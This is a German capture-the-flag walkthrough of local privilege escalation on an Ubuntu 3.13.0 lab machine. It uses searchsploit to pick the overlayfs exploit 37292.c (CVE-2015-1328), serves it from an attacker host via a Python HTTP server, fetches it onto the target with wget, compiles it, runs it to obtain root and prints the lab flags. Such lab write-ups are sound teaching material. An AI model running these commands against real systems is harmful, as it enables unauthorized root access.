Analyse: Das System läuft mit dem Linux-Kernel 3.13.0-32-generic.

┌──(root㉿cyber)-[~]
└─# searchsploit inux ubuntu 3.13.0
Exploit Title
| Path

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
| linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)
| linux/local/37293.txt
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CNFIG_X86_X32=y' Local Privilege Escalation (3)
| linux_x86-64/local/31347.c
Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CNFIG_X86_X32' Arbitrary Write (2)
| linux/local/31346.c
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free
| linux/dos/43234.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
| linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation
| linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation
| linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)
| linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)
| linux/local/47169.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation
| linux/local/41760.txt

Analyse: Searchsploit findet mehrere Exploits für den Linux-Kernel 3.13.0. Der Exploit `linux/local/37292.c` (overlayfs) scheint vielversprechend.

Empfehlung: Verwende den Exploit `linux/local/37292.c`, um die Privilegien zu erhöhen.

┌──(root㉿cyber)-[~]
└─# searchsploit -m linux/local/37292.c

Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
Codes: CVE-2015-1328
Verified: True
File Type: C source, ASCII text, with very long lines (466)
Copied to: /root/37292.c
┌──(root㉿cyber)-[~]
└─# vi 37292.c

Analyse: Der Exploit-Code wird in die Datei `37292.c` kopiert.

┌──(root㉿cyber)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Analyse Analyse: Ein HTTP-Server wird gestartet, um den Exploit für das Zielsystem zugänglich zu machen.

www-data@ubuntu:/dev/shm$ wget 192.168.2.199/37292.c
--2024-01-24 15:47:53-- http://192.168.2.199/37292.c
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: '37292.c'

100%[======================================>] 4,968 --.-K/s in 0s

2024-01-24 15:47:53 (835 MB/s) - '37292.c' saved [4968/4968]

Analyse: Der Exploit-Code wird mit `wget` auf das Zielsystem heruntergeladen.

www-data@ubuntu:/dev/shm$ cc -o exploit 37292.c
37292.c:94:1: warning: control may reach end of non-void function
[-Wreturn-type]
}
^
37292.c:106:12: warning: implicit declaration of function 'unshare' is invalid
in C99 [-Wimplicit-function-declaration]
if(unshare(CLNE_NEWUSER) != 0)
^
37292.c:111:17: warning: implicit declaration of function 'clone' is invalid in
C99 [-Wimplicit-function-declaration]
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
^
37292.c:117:13: warning: implicit declaration of function 'waitpid' is invalid
in C99 [-Wimplicit-function-declaration]
waitpid(pid, &status, 0);
^
37292.c:127:5: warning: implicit declaration of function 'wait' is invalid in
C99 [-Wimplicit-function-declaration]
wait(NULL);
^
5 warnings generated.

Analyse: Der Exploit-Code wird mit `cc` kompiliert. Es gibt einige Warnungen, die jedoch ignoriert werden.

www-data@ubuntu:/dev/shm$ ls -la total 24
drwxrwxrwt 2 root root 80 Jan 24 15:49 .
drwxr-xr-x 18 root root 560 Jan 24 14:29 ..
-rw-rw-rw- 1 www-data www-data 4968 Jan 24 15:46 37292.c
-rwxrwxrwx 1 www-data www-data 13773 Jan 24 15:49 exploit

Analyse: Die Datei `exploit` wurde erfolgreich erstellt.

www-data@ubuntu:/dev/shm$ chmod +x exploit
www-data@ubuntu:/dev/shm$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Analyse: Der Exploit wird ausgeführt.

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Analyse: Die Ausführung des Exploits war erfolgreich! Wir sind jetzt als `root` angemeldet.

Fantastisch! Der Root-Zugriff war erfolgreich. Nun haben wir unser Ziel erreicht!

Flags

cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6